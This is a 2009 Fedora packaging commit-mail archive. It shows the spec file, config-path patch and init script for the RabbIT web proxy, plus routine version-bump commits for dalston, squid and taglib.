--- conf.orig/rabbit.conf	2009-01-11 21:32:34.000000000 +0300
+++ conf/rabbit.conf	2009-03-29 16:02:05.000000000 +0400
@@ -49,10 +49,10 @@
 # is used or you can set the system property 
 # "java.util.logging.config.file" to configure your own loggers/handlers.
 #
-access_log=logs/access_log.%g
+access_log=/var/log/RabbIT/access_log.%g
 access_size_limit=10 # in MB
 access_num_files=100
-error_log=logs/error_log.%g
+error_log=/var/log/RabbIT/error_log.%g
 error_size_limit=1 # in MB
 error_num_files=10
 
@@ -242,7 +242,7 @@
 # This is a filter to allow simple accesscontrol.
 
 # this file store the available ip-ranges that can use the proxy.
-accessfile=conf/access
+accessfile=/etc/RabbIT/access
 
 
 [rabbit.filter.HttpBaseFilter]
@@ -254,7 +254,7 @@
 
 # authenticate users (basic method only) with this user-password file.
 # this is used for meta/admin access...
-userfile=conf/users
+userfile=/etc/RabbIT/users
 
 # If you set cookieid to "true" rabbit will not cache resources
 # that seem to use cookie based identification. This should only 
@@ -332,7 +332,7 @@
 # This filter is not enabled by default, add it to 
 # httpinfilters if you want it.
 # allowed user..
-userfile=conf/allowed
+userfile=/etc/RabbIT/allowed
 
 
 [rabbit.filter.SQLProxyAuth]   


--- NEW FILE RabbIT.spec ---
Name:		RabbIT
%define lname %( echo %{name} | tr 'A-Z' 'a-z' )

Version:		4.1
Release:		9%{?dist}
Summary:		Proxy for a faster web
Summary(ru):	?????? ??? ???????? ???????? ? ????
#By example of squid
Group:		System Environment/Daemons
License:		BSD
URL:			http://www.khelekore.org/rabbit/
Source0:		http://www.khelekore.org/rabbit/%{lname}%{version}-src.tar.gz
#Startup scrip to start/stop daemon. Self produced.
Source1:		%{lname}.init
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	java-devel >= 1:1.6.0
BuildRequires:	jpackage-utils

Requires:		java >= 1:1.6.0, jpackage-utils
Requires:		ImageMagick, dnsjava

#Adjust only used paths in default config.
Patch0:		RabbIT-4.0.fedora-config-path.patch

Requires(pre):		/usr/sbin/useradd
Requires(post):	chkconfig
Requires(preun):	chkconfig
Requires(postun):	/usr/sbin/userdel

BuildArchitectures:	noarch

%description
RabbIT is a web proxy that speeds up web surfing over slow links by doing: 
	o Compress text pages to gzip streams. This reduces size by up to 75% 
	o Compress images to 10% jpeg. This reduces size by up to 95% 
	o Remove advertising 
	o Remove background images 
	o Cache filtered pages and images 
	o Uses keepalive if possible 
	o Easy and powerful configuration 
	o Multi threaded solution written in java 
	o Modular and easily extended 
	o Complete HTTP/1.1 compliance

%description -l ru
RabbIT ???? ???-?????? ??????? ???????? ??? ??????? ????? ????????? ??????.
???????? ??????????? ? ???????????:
	o ??????? (gzip) ??? ????????? ????????. ??? ????????? ?? ?????? ?? 75%
	o ??????? ???????? ? jpeg ? 10% ?????????. ??? ????????? ?? ?????? ?? 95%!
	o ??????? ???????
	o ??????? ??????? ????????
	o ???????? ???????? ? ????????
	o ???? ????????, ?????????? ?????????? ?????????? (keepalive)
	o ???????, ?? ?????? ?????????
	o ??????????????, ??????? ?? Java ? ???????? ??????????? ?????.
	o ????????? ? ????????????????
	o ?????? ????????? ????????? HTTP/1.1.

%prep
%setup -q -n %{lname}4

%patch0 -p0 -b .conf-path


%build
# https://fedoraproject.org/wiki/Packaging/Java#class-path-in-manifest
sed -i '/class-path/I d' Manifest.mf
#Adjust path ( https://fedoraproject.org/wiki/Packaging/Java#build-classpath ):
#? sed -i "s#../external_libs/dnsjava-2.[[:digit:]].[[:digit:]].jar#$(build-classpath dnsjava)#" Manifest.mf

make %{?_smp_mflags}

#Make script-wrapper
cat << HEREDOC > %{name}
#!/bin/sh
java -jar %{_javadir}/%{name}-%{version}.jar -f %{_sysconfdir}/%{name}/%{name}.conf
HEREDOC

# Author say what it is iso-8859-1
iconv -f iso-8859-1 -t UTF-8 htdocs/LICENSE.txt > htdocs/LICENSE.utf-8.txt
touch --reference htdocs/LICENSE.txt htdocs/LICENSE.utf-8.txt
iconv -f iso-8859-1 -t UTF-8 LICENSE > LICENSE.utf-8
touch --reference LICENSE LICENSE.utf-8
mv htdocs/LICENSE.utf-8.txt htdocs/LICENSE.txt
mv LICENSE.utf-8 LICENSE

%install
rm -rf %{buildroot}
install -d %{buildroot}/%{_javadir}
install -m644 jars/rabbit4.jar %{buildroot}/%{_javadir}/%{name}-%{version}.jar
install -d %{buildroot}/%{_bindir}
install -m755 %{name} %{buildroot}/%{_bindir}/%{name}

install -d %{buildroot}/%{_sysconfdir}/%{name}
install -d %{buildroot}/%{_initrddir}/

sed 's#{{HTDOCS}}#%{_datadir}/%{name}#' %{SOURCE1} > %{buildroot}/%{_initrddir}/%{lname}

install -d %{buildroot}/%{_datadir}/%{name}/htdocs
cp -r htdocs/* %{buildroot}/%{_datadir}/%{name}/htdocs/

install -d %{buildroot}/%{_localstatedir}/log/%{name}
#install -d %{buildroot}/%{_localstatedir}/run/%{name}.pid

touch %{buildroot}/%{_localstatedir}/log/%{name}/main_run.log

# We exclude rabbit.conf.orig, so, we can't do just install whole directory
install -m644 conf/access		%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/allowed		%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/cache_only.conf	%{buildroot}/%{_sysconfdir}/%{name}/
#install -m644 conf/empty.conf		%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/nocache.conf	%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/%{lname}.conf	%{buildroot}/%{_sysconfdir}/%{name}/%{name}.conf
install -m644 conf/users			%{buildroot}/%{_sysconfdir}/%{name}/

%pre
# Add the "rabbit" user
/usr/sbin/useradd -c "%{lname}" -s /sbin/nologin -r -d "%{_docdir}/%{name}-%{version}" %{lname} 2> /dev/null || :

%post
# Register service
/sbin/chkconfig --add %{lname}

%preun
if [ $1 = 0 ]; then
	/sbin/service %{lname} stop > /dev/null 2>&1
	/sbin/chkconfig --del %{lname}
fi

%postun
/usr/sbin/userdel %{lname}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%attr(755,root,root) %{_initrddir}/%{lname}
%doc ChangeLog README Help.txt LICENSE
%{_datadir}/%{name}/
%{_javadir}/%{name}-%{version}.jar
%attr(755,%{lname},root) %{_bindir}/%{name}
%dir %attr(755,%{lname},root) %{_localstatedir}/log/%{name}
%attr(755,%{lname},root) %ghost %{_localstatedir}/log/%{name}/main_run.log
%config(noreplace) %{_sysconfdir}/%{name}/access
%config(noreplace) %{_sysconfdir}/%{name}/allowed
%config(noreplace) %{_sysconfdir}/%{name}/cache_only.conf
#%config(noreplace) %{_sysconfdir}/%{name}/empty.conf
%config(noreplace) %{_sysconfdir}/%{name}/nocache.conf
%config(noreplace) %{_sysconfdir}/%{name}/%{name}.conf
%config(noreplace) %{_sysconfdir}/%{name}/users

%changelog
* Sat Aug 15 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 4.1-9
- Step to version 4.1.
- Robert Oloffson kindly change version enumeration by my request, now tarball have version and release.
- Own log dir also by %%{lname} user

* Sun Aug 9 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 4.0-8
- Step to new version 4.0
- Use %%{name} in Source url
- Add %%ghost %%{_localstatedir}/log/%%{name}/main_run.log
- Own as rabbit user only binary file, not all package.
- Remove name from summary.
- Add russian localized Summary and description.
- Own %%{_datadir}/%%{name}/ instead of %%{_datadir}/%%{name}/htdocs
- Source1 RabbIT.init renamed to rabbit.init.
- Remade Patch0: RabbIT-3.17.fedora-config-path.patch -> RabbIT-4.0.fedora-config-path.patch
- Delete TODO from docs, it is not present anymore.
- Add lsb # Default-Start: 2 3 4 5, # Default-Stop: 0 1 6 to init file to do rpmlint happy. Turn pid and lock files to lowercase.
- Delete classpath from manifest.
- Default disable service running: --level -

* Mon Apr 27 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.18-7
- Accidentally leaved httpd instead on %%name in %%post script fixed.
- Path of http-root files changed from %%{_docdir}/%%{name}-%%{version} to %%{_datadir}/%%{name}

* Sun Apr 12 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.18-6
- In review ( https://bugzilla.redhat.com/show_bug.cgi?id=492810 ) was tald pack dnsjava separate. Do it:
	o Remove bundled jar-package
	o Cutoff classpath from manifest
	o Add Requires dnsjava

* Wed Apr 01 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.18-5
- New version 3.18

* Tue Mar 31 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-4
- After aontact author, now I known encoding of License (iso-8859-1) and recode it.
- Exclude /etc/RabbIT/empty.conf

* Sun Mar 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-3
- Add %%doc htdocs
- Add run from another user, not root! For that:
	o Add Requires(pre): /usr/sbin/useradd
	o Requires(postun): /usr/sbin/userdel
	o In pre and postun sections add/delete user rabbit.
- Add %%{_localstatedir}/log/%%{name} in package.
- Inspired by rpmlint:
	o %%{_initrddir}/%%{name} renamed to %%{_initrddir}/%%{lname}

* Sun Mar 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-2
- Add registration of service with chkconfig. Add it into Requires(post/preun), and according sections.
- BuildArchitectures: noarch
- Install also %%{_javadir}/dnsjava-2.0.6.jar

* Sun Mar 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-1
- Initial spec file.

--- NEW FILE import.log ---
RabbIT-4_1-9_fc11:EL-5:RabbIT-4.1-9.fc11.src.rpm:1256985083


--- NEW FILE rabbit.init ---
#!/bin/bash
#
# rabbit        Startup script for the RabbIT proxy server
#
# chkconfig: - 85 15
# description: RabbIT is a web proxy that speeds up web surfing over slow links by doing: 
#	o Compress text pages to gzip streams. This reduces size by up to 75% 
#	o Compress images to 10% jpeg. This reduces size by up to 95% 
#	o Remove advertising 
#	o Remove background images 
#	o Cache filtered pages and images 
#	o Uses keepalive if possible 
#	o Easy and powerful configuration 
#	o Multi threaded solution written in java 
#	o Modular and easily extended 
#	o Complete HTTP/1.1 compliance
# config: /etc/RabbIT/access
# config: /etc/RabbIT/allowed
# config: /etc/RabbIT/cache_only.conf
# config: /etc/RabbIT/empty.conf
# config: /etc/RabbIT/nocache.conf
# config: /etc/RabbIT/rabbit.conf
# config: /etc/RabbIT/users
# pidfile: /var/run/RabbIT.pid
#
### BEGIN INIT INFO
# Provides: rabbit
# Required-Start: $local_fs $remote_fs $network $named
# Required-Stop: $local_fs $remote_fs $network
# Should-Start: distcache
# Default-Stop: 0 1 6
# Short-Description: Start and stop the RabbIT proxy server
# Description: RabbIT is a web proxy that speeds up web surfing over slow links by doing: 
#	o Compress text pages to gzip streams. This reduces size by up to 75% 
#	o Compress images to 10% jpeg. This reduces size by up to 95% 
#	o Remove advertising 
#	o Remove background images 
#	o Cache filtered pages and images 
#	o Uses keepalive if possible 
#	o Easy and powerful configuration 
#	o Multi threaded solution written in java 
#	o Modular and easily extended 
#	o Complete HTTP/1.1 compliance
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

bin='/usr/bin/RabbIT'
prog='RabbIT proxy'
pidfile=${PIDFILE-/var/run/rabbit.pid}
lockfile=${LOCKFILE-/var/lock/subsys/rabbit}
HTDOCS_DIR="{{HTDOCS}}"
USER='rabbit'
RETVAL=0

start(){
	echo -n $"Starting $prog: "
	daemon +15 --pidfile="$pidfile" --user="$USER" sh -c "cd \"$HTDOCS_DIR\"; exec \"$bin\" 2>&1 >> /var/log/RabbIT/main_run.log &"
	RETVAL=$?
	echo
		if [ 0 -eq $RETVAL ]; then
		touch ${lockfile}
		#Pid of parent sh script
		p=$( __pids_pidof "$bin" )
			[ -n $p ] && echo "Error: pid not found" && exit 1
		# Pid of child. Real java process!!! Idea from: http://209.85.129.132/search?q=cache:QnI67WuZkRcJ:www.experts-exchange.com/Programming/System/Linux/Q_20943601.html+kill+all+childs&cd=14&hl=en&ct=clnk
		p=$(ps axef -o ppid,pid | sed -nr "s#^$p (.+)\$#\1#p")
		echo $p > "$pidfile"
		fi
	return $RETVAL
}

stop(){
	echo -n $"Stopping $prog: "
	killproc -p ${pidfile}
	RETVAL=$?
	echo
	[ $RETVAL = 0 ] && rm -f ${lockfile} ${pidfile}
}

# See how we were called.
case "$1" in
  start)
	start
	;;
  stop)
	stop
	;;
  status)
        status $bin
	RETVAL=$?
	;;
  restart)
	stop
	start
	;;
  condrestart)
	if [ -f ${pidfile} ] ; then
		stop
		start
	fi
	;;
  *)
	echo $"Usage: $prog {start|stop|restart|condrestart|status}"
	RETVAL=3
esac

exit $RETVAL

Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/RabbIT/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:04:58 -0000	1.1
+++ .cvsignore	31 Oct 2009 10:32:49 -0000	1.2
@@ -0,0 +1 @@
+rabbit4.1-src.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/RabbIT/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:04:59 -0000	1.1
+++ sources	31 Oct 2009 10:32:49 -0000	1.2
@@ -0,0 +1 @@
+ee3ae82bf8757102aa748d2feed38727  rabbit4.1-src.tar.gz



From pbrobinson at fedoraproject.org  Sat Oct 31 10:34:47 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 31 Oct 2009 10:34:47 +0000 (UTC)
Subject: rpms/dalston/devel dalston.spec,1.6,1.7
Message-ID: <20091031103447.CC6D711C0086@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/dalston/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26248

Modified Files:
	dalston.spec 
Log Message:
- fix build.


Index: dalston.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/devel/dalston.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- dalston.spec	31 Oct 2009 10:24:27 -0000	1.6
+++ dalston.spec	31 Oct 2009 10:34:47 -0000	1.7
@@ -7,13 +7,13 @@
 
 Name:          dalston
 Version:       0.1.11
-Release:       1%{?dist}
+Release:       3%{?dist}
 Summary:       Moblin System Information Icons
 
 Group:         System Environment/Libraries
 License:       LGPLv2 and GPLv2+
 URL:           http://www.moblin.org/
-Source0:       %{name}-%{version}.tar.gz
+Source0:       %{name}-%{version}.tar.bz2
 # Patches are applied during creation of 'make dist' tarball above. Are included here for reference
 Patch0:        0001-Update-to-latest-gnome-volume-control-code.patch
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -40,6 +40,8 @@ management applets.
 %setup -q
 %patch0 -p1 -b .gnome-vol
 
+./autogen.sh 
+
 %build
 %configure --disable-static
 make %{?_smp_mflags} V=1
@@ -64,6 +66,9 @@ rm -rf %{buildroot}
 %{_datadir}/dbus-1/services/org.moblin.UX.Shell.Panels.volume.service
 
 %changelog
+* Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.11-3
+- fix build.
+
 * Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.11-1
 - new upstream 0.1.11 release
 



From pbrobinson at fedoraproject.org  Sat Oct 31 10:43:36 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 31 Oct 2009 10:43:36 +0000 (UTC)
Subject: rpms/dalston/devel dalston.spec,1.7,1.8
Message-ID: <20091031104336.D886211C0086@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/dalston/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28081

Modified Files:
	dalston.spec 
Log Message:
- fix build.


Index: dalston.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/devel/dalston.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- dalston.spec	31 Oct 2009 10:34:47 -0000	1.7
+++ dalston.spec	31 Oct 2009 10:43:36 -0000	1.8
@@ -7,7 +7,7 @@
 
 Name:          dalston
 Version:       0.1.11
-Release:       3%{?dist}
+Release:       4%{?dist}
 Summary:       Moblin System Information Icons
 
 Group:         System Environment/Libraries
@@ -31,6 +31,7 @@ BuildRequires: intltool
 BuildRequires: gettext
 
 BuildRequires: libtool
+BuildRequires: gnome-common
 
 %description
 System information icons for Moblin including volume and power 
@@ -67,6 +68,9 @@ rm -rf %{buildroot}
 
 %changelog
 * Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.11-3
+- and again
+
+* Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.11-3
 - fix build.
 
 * Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.11-1



From pbrobinson at fedoraproject.org  Sat Oct 31 10:51:52 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 31 Oct 2009 10:51:52 +0000 (UTC)
Subject: rpms/dalston/F-12 .cvsignore, 1.3, 1.4 dalston.spec, 1.2,
	1.3 sources, 1.3, 1.4
Message-ID: <20091031105152.F32A211C0086@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/dalston/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29965

Modified Files:
	.cvsignore dalston.spec sources 
Log Message:
- new upstream 0.1.11 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	21 Oct 2009 21:45:20 -0000	1.3
+++ .cvsignore	31 Oct 2009 10:51:52 -0000	1.4
@@ -1 +1 @@
-dalston-0.1.10.tar.gz
+dalston-0.1.11.tar.bz2


Index: dalston.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/F-12/dalston.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- dalston.spec	21 Oct 2009 21:45:20 -0000	1.2
+++ dalston.spec	31 Oct 2009 10:51:52 -0000	1.3
@@ -6,14 +6,14 @@
 # make dist
 
 Name:          dalston
-Version:       0.1.10
-Release:       2%{?dist}
+Version:       0.1.11
+Release:       1%{?dist}
 Summary:       Moblin System Information Icons
 
 Group:         System Environment/Libraries
 License:       LGPLv2 and GPLv2+
 URL:           http://www.moblin.org/
-Source0:       %{name}-%{version}.tar.gz
+Source0:       %{name}-%{version}.tar.bz2
 # Patches are applied during creation of 'make dist' tarball above. Are included here for reference
 Patch0:        0001-Update-to-latest-gnome-volume-control-code.patch
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -30,12 +30,18 @@ BuildRequires: pkgconfig
 BuildRequires: intltool
 BuildRequires: gettext
 
+BuildRequires: libtool
+BuildRequires: gnome-common
+
 %description
 System information icons for Moblin including volume and power 
 management applets.
 
 %prep
 %setup -q
+%patch0 -p1 -b .gnome-vol
+
+./autogen.sh 
 
 %build
 %configure --disable-static
@@ -61,6 +67,9 @@ rm -rf %{buildroot}
 %{_datadir}/dbus-1/services/org.moblin.UX.Shell.Panels.volume.service
 
 %changelog
+* Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.11-1
+- new upstream 0.1.11 release
+
 * Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.10-2
 - update files list for new release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	21 Oct 2009 21:45:20 -0000	1.3
+++ sources	31 Oct 2009 10:51:52 -0000	1.4
@@ -1 +1 @@
-a8f98ab9830381d00477130cbb80c91a  dalston-0.1.10.tar.gz
+fb71c27c06fc7a165b4a7ea72e37c494  dalston-0.1.11.tar.bz2



From hno at fedoraproject.org  Sat Oct 31 11:26:59 2009
From: hno at fedoraproject.org (=?utf-8?q?Henrik_Nordstr=C3=B6m?=)
Date: Sat, 31 Oct 2009 11:26:59 +0000 (UTC)
Subject: rpms/squid/F-11 .cvsignore, 1.48, 1.49 sources, 1.51,
	1.52 squid.spec, 1.129, 1.130
Message-ID: <20091031112659.EF88411C0086@cvs1.fedora.phx.redhat.com>

Author: hno

Update of /cvs/pkgs/rpms/squid/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6199

Modified Files:
	.cvsignore sources squid.spec 
Log Message:
3.0.STABLE20


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/squid/F-11/.cvsignore,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- .cvsignore	19 Sep 2009 02:25:11 -0000	1.48
+++ .cvsignore	31 Oct 2009 11:26:57 -0000	1.49
@@ -1,2 +1,2 @@
-squid-3.0.STABLE19.tar.bz2
-squid-3.0.STABLE19.tar.bz2.asc
+squid-3.0.STABLE20.tar.bz2
+squid-3.0.STABLE20.tar.bz2.asc


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/squid/F-11/sources,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- sources	19 Sep 2009 02:25:11 -0000	1.51
+++ sources	31 Oct 2009 11:26:57 -0000	1.52
@@ -1,2 +1,2 @@
-edf0f2baf06d342652f06d131f8a6082  squid-3.0.STABLE19.tar.bz2
-5b514327921dec32896353eeb222b509  squid-3.0.STABLE19.tar.bz2.asc
+9efcbdda8045d2a9eb5d9915449ef175  squid-3.0.STABLE20.tar.bz2
+401f936b04fdae1151d0d83a855996bf  squid-3.0.STABLE20.tar.bz2.asc


Index: squid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/squid/F-11/squid.spec,v
retrieving revision 1.129
retrieving revision 1.130
diff -u -p -r1.129 -r1.130
--- squid.spec	19 Sep 2009 02:25:11 -0000	1.129
+++ squid.spec	31 Oct 2009 11:26:57 -0000	1.130
@@ -3,8 +3,8 @@
 ## % define __find_requires %{SOURCE99}
 
 Name:     squid
-Version:  3.0.STABLE19
-Release:  3%{?dist}
+Version:  3.0.STABLE20
+Release:  1%{?dist}
 Summary:  The Squid proxy caching server
 Epoch:    7
 License:  GPLv2+
@@ -345,6 +345,10 @@ fi
     chgrp squid /var/cache/samba/winbindd_privileged >/dev/null 2>&1 || :
 
 %changelog
+* Sat Oct 31 2009 Henrik Nordstrom <henrik at henriknordstrom.net> 7:3.0.STABLE20-1
+- Update to 3.0.STABLE20, with several important bugfixes among
+  one client cache corruption issue (mixup of 304 responses).
+
 * Sat Sep 19 2009 Henrik Nordstrom <henrik at henriknordstrom.net> 7:3.0.STABLE19-3
 - Patch for Squid Bug #2626: Invalid response for IMS request
 



From mschwendt at fedoraproject.org  Sat Oct 31 11:51:56 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Sat, 31 Oct 2009 11:51:56 +0000 (UTC)
Subject: rpms/taglib/devel .cvsignore, 1.12, 1.13 sources, 1.12,
	1.13 taglib.spec, 1.47, 1.48 taglib-1.6-test_mp4.patch, 1.1, NONE
Message-ID: <20091031115156.C098511C0086@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/taglib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13996

Modified Files:
	.cvsignore sources taglib.spec 
Removed Files:
	taglib-1.6-test_mp4.patch 
Log Message:
* Sat Oct 31 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.6.1-1
- Update to 1.6.1 (bug-fixes, of which one is considered a fix for
  a serious bug: saving of Ogg FLAC comments).



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/taglib/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	14 Sep 2009 07:57:42 -0000	1.12
+++ .cvsignore	31 Oct 2009 11:51:54 -0000	1.13
@@ -1 +1 @@
-taglib-1.6.tar.gz
+taglib-1.6.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/taglib/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	14 Sep 2009 07:57:42 -0000	1.12
+++ sources	31 Oct 2009 11:51:55 -0000	1.13
@@ -1 +1 @@
-5ecad0816e586a954bd676a86237d054  taglib-1.6.tar.gz
+db0502b3c3448ff1f1f9b090c1daa5f7  taglib-1.6.1.tar.gz


Index: taglib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/taglib/devel/taglib.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- taglib.spec	18 Sep 2009 08:47:09 -0000	1.47
+++ taglib.spec	31 Oct 2009 11:51:55 -0000	1.48
@@ -11,8 +11,8 @@
 %global apidocdir __api-doc_fedora
 
 Name:       taglib	
-Version:    1.6
-Release:    2%{?dist}
+Version:    1.6.1
+Release:    1%{?dist}
 Summary:    Audio Meta-Data Library
 
 Group: 	    System Environment/Libraries
@@ -30,8 +30,6 @@ Patch1:     taglib-1.5b1-multilib.patch 
 # try 2, kiss omit -L%_libdir
 Patch2:     taglib-1.5rc1-multilib.patch
 
-Patch3: taglib-1.6-test_mp4.patch
-
 BuildRequires: cmake
 BuildRequires: pkgconfig
 BuildRequires: zlib-devel
@@ -84,8 +82,6 @@ Files needed when building software with
 ## omit for now
 %patch2 -p1 -b .multilib
 
-%patch3 -p1 -b .test_mp4
-
 
 %build
 mkdir -p %{_target_platform}
@@ -157,6 +153,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 31 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.6.1-1
+- Update to 1.6.1 (bug-fixes, of which one is considered a fix for
+  a serious bug: saving of Ogg FLAC comments).
+
 * Thu Sep 17 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.6-2
 - Include the new NEWS file as %%doc.
 


--- taglib-1.6-test_mp4.patch DELETED ---



From mschwendt at fedoraproject.org  Sat Oct 31 11:53:09 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Sat, 31 Oct 2009 11:53:09 +0000 (UTC)
Subject: rpms/taglib/F-12 .cvsignore, 1.12, 1.13 sources, 1.12,
	1.13 taglib.spec, 1.47, 1.48 taglib-1.6-test_mp4.patch, 1.1, NONE
Message-ID: <20091031115309.F182311C0086@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/taglib/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14340/F-12

Modified Files:
	.cvsignore sources taglib.spec 
Removed Files:
	taglib-1.6-test_mp4.patch 
Log Message:
sync update to 1.6.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/taglib/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	14 Sep 2009 07:57:42 -0000	1.12
+++ .cvsignore	31 Oct 2009 11:53:08 -0000	1.13
@@ -1 +1 @@
-taglib-1.6.tar.gz
+taglib-1.6.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/taglib/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	14 Sep 2009 07:57:42 -0000	1.12
+++ sources	31 Oct 2009 11:53:09 -0000	1.13
@@ -1 +1 @@
-5ecad0816e586a954bd676a86237d054  taglib-1.6.tar.gz
+db0502b3c3448ff1f1f9b090c1daa5f7  taglib-1.6.1.tar.gz


Index: taglib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/taglib/F-12/taglib.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- taglib.spec	18 Sep 2009 08:47:09 -0000	1.47
+++ taglib.spec	31 Oct 2009 11:53:09 -0000	1.48
@@ -11,8 +11,8 @@
 %global apidocdir __api-doc_fedora
 
 Name:       taglib	
-Version:    1.6
-Release:    2%{?dist}
+Version:    1.6.1
+Release:    1%{?dist}
 Summary:    Audio Meta-Data Library
 
 Group: 	    System Environment/Libraries
@@ -30,8 +30,6 @@ Patch1:     taglib-1.5b1-multilib.patch 
 # try 2, kiss omit -L%_libdir
 Patch2:     taglib-1.5rc1-multilib.patch
 
-Patch3: taglib-1.6-test_mp4.patch
-
 BuildRequires: cmake
 BuildRequires: pkgconfig
 BuildRequires: zlib-devel
@@ -84,8 +82,6 @@ Files needed when building software with
 ## omit for now
 %patch2 -p1 -b .multilib
 
-%patch3 -p1 -b .test_mp4
-
 
 %build
 mkdir -p %{_target_platform}
@@ -157,6 +153,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 31 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.6.1-1
+- Update to 1.6.1 (bug-fixes, of which one is considered a fix for
+  a serious bug: saving of Ogg FLAC comments).
+
 * Thu Sep 17 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.6-2
 - Include the new NEWS file as %%doc.
 


--- taglib-1.6-test_mp4.patch DELETED ---



From mschwendt at fedoraproject.org  Sat Oct 31 11:53:10 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Sat, 31 Oct 2009 11:53:10 +0000 (UTC)
Subject: rpms/taglib/F-11 .cvsignore, 1.14, 1.15 sources, 1.14,
	1.15 taglib.spec, 1.36, 1.37 taglib-1.6-test_mp4.patch, 1.3, NONE
Message-ID: <20091031115310.9CFC511C0086@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/taglib/F-11
